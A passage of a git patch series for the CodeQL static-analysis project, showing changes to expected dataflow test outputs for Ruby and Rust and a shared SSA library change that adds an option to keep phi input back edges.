| | local_dataflow.rb:111:1:114:3 | self (object_dup) | local_dataflow.rb:112:3:112:21 | self | | local_dataflow.rb:111:1:114:3 | self in object_dup | local_dataflow.rb:111:1:114:3 | self (object_dup) | | local_dataflow.rb:112:3:112:21 | [post] self | local_dataflow.rb:112:8:112:16 | self | @@ -3946,24 +3323,20 @@ | local_dataflow.rb:132:10:132:10 | [post] x | local_dataflow.rb:133:12:133:12 | x | | local_dataflow.rb:132:10:132:10 | x | local_dataflow.rb:133:12:133:12 | x | | local_dataflow.rb:132:12:148:10 | then ... | local_dataflow.rb:132:3:149:5 | if ... | -| local_dataflow.rb:133:5:139:7 | SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self | -| local_dataflow.rb:133:5:139:7 | SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x | -| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) | -| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) | +| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self | +| local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x | | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | | local_dataflow.rb:133:8:133:13 | [post] self | local_dataflow.rb:133:18:133:23 | self | | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... | | local_dataflow.rb:133:8:133:13 | call to use | local_dataflow.rb:133:8:133:23 | [true] ... \|\| ... | | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(self) | | local_dataflow.rb:133:8:133:13 | self | local_dataflow.rb:133:18:133:23 | self | -| local_dataflow.rb:133:8:133:23 | SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self | -| local_dataflow.rb:133:8:133:23 | SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x | | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | | local_dataflow.rb:133:12:133:12 | [post] x | local_dataflow.rb:133:22:133:22 | x | | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:8:133:13 | [input] SSA phi read(x) | | local_dataflow.rb:133:12:133:12 | x | local_dataflow.rb:133:22:133:22 | x | -| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:133:8:133:23 | SSA phi read(self) | -| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:133:8:133:23 | SSA phi read(x) | +| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | local_dataflow.rb:134:7:134:12 | self | +| local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | local_dataflow.rb:134:11:134:11 | x | | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(self) | | local_dataflow.rb:133:18:133:23 | [post] self | local_dataflow.rb:136:7:136:12 | self | | local_dataflow.rb:133:18:133:23 | call to use | local_dataflow.rb:133:8:133:23 | [false] ... \|\| ... | @@ -3974,43 +3347,35 @@ | local_dataflow.rb:133:22:133:22 | [post] x | local_dataflow.rb:136:11:136:11 | x | | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:133:18:133:23 | [input] SSA phi read(x) | | local_dataflow.rb:133:22:133:22 | x | local_dataflow.rb:136:11:136:11 | x | -| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) | -| local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) | | local_dataflow.rb:133:24:134:12 | then ... | local_dataflow.rb:133:5:139:7 | if ... | -| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | +| local_dataflow.rb:134:7:134:12 | [post] self | local_dataflow.rb:141:9:141:14 | self | | local_dataflow.rb:134:7:134:12 | call to use | local_dataflow.rb:133:24:134:12 | then ... | -| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(self) | -| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | -| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:133:24:134:12 | [input] SSA phi read(x) | -| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) | local_dataflow.rb:133:5:139:7 | SSA phi read(self) | -| local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) | local_dataflow.rb:133:5:139:7 | SSA phi read(x) | +| local_dataflow.rb:134:7:134:12 | self | local_dataflow.rb:141:9:141:14 | self | +| local_dataflow.rb:134:11:134:11 | [post] x | local_dataflow.rb:141:13:141:13 | x | +| local_dataflow.rb:134:11:134:11 | x | local_dataflow.rb:141:13:141:13 | x | | local_dataflow.rb:135:5:138:9 | else ... | local_dataflow.rb:133:5:139:7 | if ... | | local_dataflow.rb:136:7:136:12 | [post] self | local_dataflow.rb:137:10:137:15 | self | | local_dataflow.rb:136:7:136:12 | self | local_dataflow.rb:137:10:137:15 | self | | local_dataflow.rb:136:11:136:11 | [post] x | local_dataflow.rb:137:14:137:14 | x | | local_dataflow.rb:136:11:136:11 | x | local_dataflow.rb:137:14:137:14 | x | -| local_dataflow.rb:137:7:138:9 | SSA phi read(self) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(self) | -| local_dataflow.rb:137:7:138:9 | SSA phi read(x) | local_dataflow.rb:135:5:138:9 | [input] SSA phi read(x) | | local_dataflow.rb:137:7:138:9 | if ... | local_dataflow.rb:135:5:138:9 | else ... | -| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) | -| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) | +| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | +| local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | | local_dataflow.rb:137:10:137:15 | [post] self | local_dataflow.rb:137:21:137:26 | self | | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(self) | | local_dataflow.rb:137:10:137:15 | self | local_dataflow.rb:137:21:137:26 | self | -| local_dataflow.rb:137:10:137:26 | SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | -| local_dataflow.rb:137:10:137:26 | SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:7:138:9 | SSA phi read(self) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) | -| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:7:138:9 | SSA phi read(x) | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | local_dataflow.rb:141:9:141:14 | self | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x | +| local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | local_dataflow.rb:141:13:141:13 | x | | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | | local_dataflow.rb:137:14:137:14 | [post] x | local_dataflow.rb:137:25:137:25 | x | | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:10:137:15 | [input] SSA phi read(x) | | local_dataflow.rb:137:14:137:14 | x | local_dataflow.rb:137:25:137:25 | x | | local_dataflow.rb:137:20:137:26 | [false] ! ... | local_dataflow.rb:137:10:137:26 | [false] ... && ... | -| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | SSA phi read(self) | -| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | SSA phi read(x) | +| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | +| local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:20:137:26 | [true] ! ... | local_dataflow.rb:137:10:137:26 | [true] ... && ... | | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(self) | | local_dataflow.rb:137:21:137:26 | [post] self | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(self) | @@ -4022,15 +3387,11 @@ | local_dataflow.rb:137:25:137:25 | [post] x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:10:137:26 | [input] SSA phi read(x) | | local_dataflow.rb:137:25:137:25 | x | local_dataflow.rb:137:20:137:26 | [input] SSA phi read(x) | -| local_dataflow.rb:141:5:145:7 | SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self | -| local_dataflow.rb:141:5:145:7 | SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... | | local_dataflow.rb:141:8:141:14 | [false] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | -| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) | -| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) | +| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | +| local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | | local_dataflow.rb:141:8:141:14 | [true] ! ... | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | -| local_dataflow.rb:141:8:141:37 | SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | -| local_dataflow.rb:141:8:141:37 | SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(self) | | local_dataflow.rb:141:9:141:14 | [post] self | local_dataflow.rb:141:20:141:25 | self | | local_dataflow.rb:141:9:141:14 | call to use | local_dataflow.rb:141:8:141:14 | [false] ! ... | @@ -4042,17 +3403,15 @@ | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:8:141:14 | [input] SSA phi read(x) | | local_dataflow.rb:141:13:141:13 | x | local_dataflow.rb:141:24:141:24 | x | | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | local_dataflow.rb:141:8:141:37 | [false] ... \|\| ... | -| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:8:141:37 | SSA phi read(self) | -| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:8:141:37 | SSA phi read(x) | +| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | +| local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | local_dataflow.rb:141:8:141:37 | [true] ... \|\| ... | -| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) | -| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) | +| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | +| local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | | local_dataflow.rb:141:20:141:25 | [post] self | local_dataflow.rb:141:31:141:36 | self | | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(self) | | local_dataflow.rb:141:20:141:25 | self | local_dataflow.rb:141:31:141:36 | self | -| local_dataflow.rb:141:20:141:36 | SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | -| local_dataflow.rb:141:20:141:36 | SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | | local_dataflow.rb:141:20:141:36 | [false] ... && ... | local_dataflow.rb:141:19:141:37 | [false] ( ... ) | | local_dataflow.rb:141:20:141:36 | [true] ... && ... | local_dataflow.rb:141:19:141:37 | [true] ( ... ) | | local_dataflow.rb:141:24:141:24 | [post] x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | @@ -4060,8 +3419,8 @@ | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:20:141:25 | [input] SSA phi read(x) | | local_dataflow.rb:141:24:141:24 | x | local_dataflow.rb:141:35:141:35 | x | | local_dataflow.rb:141:30:141:36 | [false] ! ... | local_dataflow.rb:141:20:141:36 | [false] ... && ... | -| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:141:20:141:36 | SSA phi read(self) | -| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:141:20:141:36 | SSA phi read(x) | +| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:16 | self | +| local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | local_dataflow.rb:143:15:143:15 | x | | local_dataflow.rb:141:30:141:36 | [true] ! ... | local_dataflow.rb:141:20:141:36 | [true] ... && ... | | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(self) | | local_dataflow.rb:141:31:141:36 | [post] self | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(self) | @@ -4073,33 +3432,27 @@ | local_dataflow.rb:141:35:141:35 | [post] x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:19:141:37 | [input] SSA phi read(x) | | local_dataflow.rb:141:35:141:35 | x | local_dataflow.rb:141:30:141:36 | [input] SSA phi read(x) | -| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) | -| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) | +| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self | +| local_dataflow.rb:141:38:142:9 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:141:38:142:9 | then ... | local_dataflow.rb:141:5:145:7 | if ... | | local_dataflow.rb:142:7:142:9 | nil | local_dataflow.rb:141:38:142:9 | then ... | -| local_dataflow.rb:143:5:144:16 | SSA phi read(self) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) | -| local_dataflow.rb:143:5:144:16 | SSA phi read(x) | local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) | -| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(self) | local_dataflow.rb:141:5:145:7 | SSA phi read(self) | -| local_dataflow.rb:143:5:144:16 | [input] SSA phi read(x) | local_dataflow.rb:141:5:145:7 | SSA phi read(x) | | local_dataflow.rb:143:5:144:16 | elsif ... | local_dataflow.rb:141:5:145:7 | if ... | -| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) | -| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) | +| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self | +| local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x | | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | | local_dataflow.rb:143:11:143:16 | [post] self | local_dataflow.rb:143:21:143:26 | self | | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... | | local_dataflow.rb:143:11:143:16 | call to use | local_dataflow.rb:143:11:143:26 | [true] ... \|\| ... | | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(self) | | local_dataflow.rb:143:11:143:16 | self | local_dataflow.rb:143:21:143:26 | self | -| local_dataflow.rb:143:11:143:26 | SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self | -| local_dataflow.rb:143:11:143:26 | SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x | -| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) | -| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) | +| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | local_dataflow.rb:147:5:147:10 | self | +| local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | | local_dataflow.rb:143:15:143:15 | [post] x | local_dataflow.rb:143:25:143:25 | x | | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:11:143:16 | [input] SSA phi read(x) | | local_dataflow.rb:143:15:143:15 | x | local_dataflow.rb:143:25:143:25 | x | -| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:143:11:143:26 | SSA phi read(self) | -| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:143:11:143:26 | SSA phi read(x) | +| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | local_dataflow.rb:144:11:144:16 | self | +| local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | local_dataflow.rb:144:15:144:15 | x | | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(self) | | local_dataflow.rb:143:21:143:26 | [post] self | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(self) | | local_dataflow.rb:143:21:143:26 | call to use | local_dataflow.rb:143:11:143:26 | [false] ... \|\| ... | @@ -4110,14 +3463,12 @@ | local_dataflow.rb:143:25:143:25 | [post] x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:11:143:26 | [input] SSA phi read(x) | | local_dataflow.rb:143:25:143:25 | x | local_dataflow.rb:143:21:143:26 | [input] SSA phi read(x) | -| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | local_dataflow.rb:143:5:144:16 | SSA phi read(self) | -| local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | local_dataflow.rb:143:5:144:16 | SSA phi read(x) | | local_dataflow.rb:143:27:144:16 | then ... | local_dataflow.rb:143:5:144:16 | elsif ... | -| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | +| local_dataflow.rb:144:11:144:16 | [post] self | local_dataflow.rb:147:5:147:10 | self | | local_dataflow.rb:144:11:144:16 | call to use | local_dataflow.rb:143:27:144:16 | then ... | -| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(self) | -| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | -| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:143:27:144:16 | [input] SSA phi read(x) | +| local_dataflow.rb:144:11:144:16 | self | local_dataflow.rb:147:5:147:10 | self | +| local_dataflow.rb:144:15:144:15 | [post] x | local_dataflow.rb:147:9:147:9 | x | +| local_dataflow.rb:144:15:144:15 | x | local_dataflow.rb:147:9:147:9 | x | | local_dataflow.rb:147:5:147:10 | [post] self | local_dataflow.rb:148:5:148:10 | self | | local_dataflow.rb:147:5:147:10 | self | local_dataflow.rb:148:5:148:10 | self | | local_dataflow.rb:147:9:147:9 | [post] x | local_dataflow.rb:148:9:148:9 | x | From ae47339d1a9853f6d82f90b5762a0c436d7d072b Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 18 Mar 2025 10:43:09 +0100 Subject: [PATCH 071/121] Rust: Accept test changes. --- .../dataflow/local/DataFlowStep.expected | 28 ++++++------------- 1 file changed, 8 insertions(+), 20 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 23270af042a..2731341adca 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -427,13 +427,10 @@ localStep | main.rs:318:11:318:12 | s1 | main.rs:319:9:319:45 | ... \| ... | | main.rs:319:9:319:45 | ... \| ... | main.rs:319:9:319:25 | ...::A(...) | | main.rs:319:9:319:45 | ... \| ... | main.rs:319:29:319:45 | ...::B(...) | -| main.rs:319:9:319:45 | [SSA] phi | main.rs:319:55:319:55 | n | -| main.rs:319:24:319:24 | [SSA] [input] phi | main.rs:319:9:319:45 | [SSA] phi | -| main.rs:319:24:319:24 | [SSA] n | main.rs:319:24:319:24 | [SSA] [input] phi | +| main.rs:319:24:319:24 | [SSA] n | main.rs:319:55:319:55 | n | | main.rs:319:24:319:24 | n | main.rs:319:24:319:24 | [SSA] n | | main.rs:319:24:319:24 | n | main.rs:319:24:319:24 | n | -| main.rs:319:44:319:44 | [SSA] [input] phi | main.rs:319:9:319:45 | [SSA] phi | -| main.rs:319:44:319:44 | [SSA] n | main.rs:319:44:319:44 | [SSA] [input] phi | +| main.rs:319:44:319:44 | [SSA] n | main.rs:319:55:319:55 | n | | main.rs:319:44:319:44 | n | main.rs:319:44:319:44 | [SSA] n | | main.rs:319:44:319:44 | n | main.rs:319:44:319:44 | n | | main.rs:319:50:319:56 | sink(...) | main.rs:318:5:320:5 | match s1 { ... } | @@ -470,13 +467,10 @@ localStep | main.rs:336:11:336:12 | s1 | main.rs:337:9:337:19 | ... \| ... | | main.rs:337:9:337:19 | ... \| ... | main.rs:337:9:337:12 | A(...) | | main.rs:337:9:337:19 | ... \| ... | main.rs:337:16:337:19 | B(...) | -| main.rs:337:9:337:19 | [SSA] phi | main.rs:337:29:337:29 | n | -| main.rs:337:11:337:11 | [SSA] [input] phi | main.rs:337:9:337:19 | [SSA] phi | -| main.rs:337:11:337:11 | [SSA] n | main.rs:337:11:337:11 | [SSA] [input] phi | +| main.rs:337:11:337:11 | [SSA] n | main.rs:337:29:337:29 | n | | main.rs:337:11:337:11 | n | main.rs:337:11:337:11 | [SSA] n | | main.rs:337:11:337:11 | n | main.rs:337:11:337:11 | n | -| main.rs:337:18:337:18 | [SSA] [input] phi | main.rs:337:9:337:19 | [SSA] phi | -| main.rs:337:18:337:18 | [SSA] n | main.rs:337:18:337:18 | [SSA] [input] phi | +| main.rs:337:18:337:18 | [SSA] n | main.rs:337:29:337:29 | n | | main.rs:337:18:337:18 | n | main.rs:337:18:337:18 | [SSA] n | | main.rs:337:18:337:18 | n | main.rs:337:18:337:18 | n | | main.rs:337:24:337:30 | sink(...) | main.rs:336:5:338:5 | match s1 { ... } | @@ -513,13 +507,10 @@ localStep | main.rs:359:11:359:12 | s1 | main.rs:360:9:360:71 | ... \| ... | | main.rs:360:9:360:71 | ... \| ... | main.rs:360:9:360:38 | ...::C {...} | | main.rs:360:9:360:71 | ... \| ... | main.rs:360:42:360:71 | ...::D {...} | -| main.rs:360:9:360:71 | [SSA] phi | main.rs:360:81:360:81 | n | -| main.rs:360:36:360:36 | [SSA] [input] phi | main.rs:360:9:360:71 | [SSA] phi | -| main.rs:360:36:360:36 | [SSA] n | main.rs:360:36:360:36 | [SSA] [input] phi | +| main.rs:360:36:360:36 | [SSA] n | main.rs:360:81:360:81 | n | | main.rs:360:36:360:36 | n | main.rs:360:36:360:36 | [SSA] n | | main.rs:360:36:360:36 | n | main.rs:360:36:360:36 | n | -| main.rs:360:69:360:69 | [SSA] [input] phi | main.rs:360:9:360:71 | [SSA] phi | -| main.rs:360:69:360:69 | [SSA] n | main.rs:360:69:360:69 | [SSA] [input] phi | +| main.rs:360:69:360:69 | [SSA] n | main.rs:360:81:360:81 | n | | main.rs:360:69:360:69 | n | main.rs:360:69:360:69 | [SSA] n | | main.rs:360:69:360:69 | n | main.rs:360:69:360:69 | n | | main.rs:360:76:360:82 | sink(...) | main.rs:359:5:361:5 | match s1 { ... } | @@ -556,13 +547,10 @@ localStep | main.rs:379:11:379:12 | s1 | main.rs:380:9:380:43 | ... \| ... | | main.rs:380:9:380:43 | ... \| ... | main.rs:380:9:380:24 | C {...} | | main.rs:380:9:380:43 | ... \| ... | main.rs:380:28:380:43 | D {...} | -| main.rs:380:9:380:43 | [SSA] phi | main.rs:380:53:380:53 | n | -| main.rs:380:22:380:22 | [SSA] [input] phi | main.rs:380:9:380:43 | [SSA] phi | -| main.rs:380:22:380:22 | [SSA] n | main.rs:380:22:380:22 | [SSA] [input] phi | +| main.rs:380:22:380:22 | [SSA] n | main.rs:380:53:380:53 | n | | main.rs:380:22:380:22 | n | main.rs:380:22:380:22 | [SSA] n | | main.rs:380:22:380:22 | n | main.rs:380:22:380:22 | n | -| main.rs:380:41:380:41 | [SSA] [input] phi | main.rs:380:9:380:43 | [SSA] phi | -| main.rs:380:41:380:41 | [SSA] n | main.rs:380:41:380:41 | [SSA] [input] phi | +| main.rs:380:41:380:41 | [SSA] n | main.rs:380:53:380:53 | n | | main.rs:380:41:380:41 | n | main.rs:380:41:380:41 | [SSA] n | | main.rs:380:41:380:41 | n | main.rs:380:41:380:41 | n | | main.rs:380:48:380:54 | sink(...) | main.rs:379:5:381:5 | match s1 { ... } | From 4d04391b703530ab52ea16756ad8949a2c0db935 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 25 Mar 2025 13:21:13 +0100 Subject: [PATCH 072/121] C++: Keep all phi input back edges. --- .../cpp/ir/dataflow/internal/SsaInternals.qll | 2 ++ shared/ssa/codeql/ssa/Ssa.qll | 24 +++++++++++++++++++ 2 files changed, 26 insertions(+) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index df919b42c9d..39d02ababfd 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -1010,6 +1010,8 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI predicate guardControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) { guard.(IRGuards::IRGuardCondition).controls(bb, branch) } + + predicate keepAllPhiInputBackEdges() { any() } } private module DataFlowIntegrationImpl = SsaImpl::DataFlowIntegration; diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 42a8689c723..11dee792e18 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1508,6 +1508,14 @@ module Make Input> { * nodes. Disable this only if barrier guards are not going to be used. */ default predicate supportBarrierGuardsOnPhiEdges() { any() } + + /** + * Holds if all phi input back edges should be kept in the data flow graph. + * + * This is ordinarily not necessary and causes the retention of superfluous + * nodes. + */ + default predicate keepAllPhiInputBackEdges() { none() } } /** @@ -1539,11 +1547,26 @@ module Make Input> { ) } + /** + * Holds if the phi input edge from `input` to `phi` is a back edge and + * must be kept. + */ + private predicate relevantBackEdge(SsaPhiExt phi, BasicBlock input) { + exists(BasicBlock bbPhi | + DfInput::keepAllPhiInputBackEdges() and + exists(getAPhiInputDef(phi, input)) and + phi.getBasicBlock() = bbPhi and + getImmediateBasicBlockDominator+(input) = bbPhi + ) + } + /** * Holds if the input to `phi` from the block `input` might be relevant for * barrier guards as a separately synthesized `TSsaInputNode`. */ private predicate relevantPhiInputNode(SsaPhiExt phi, BasicBlock input) { + relevantBackEdge(phi, input) + or DfInput::supportBarrierGuardsOnPhiEdges() and // If the input isn't explicitly read then a guard cannot check it. exists(DfInput::getARead(getAPhiInputDef(phi, input))) and @@ -1605,6 +1628,7 @@ module Make Input> { * flow edges. */ private predicate phiHasUniqNextNode(SsaPhiExt phi) { + not relevantBackEdge(phi, _) and exists(int nextPhiInput, int nextPhi, int nextRef 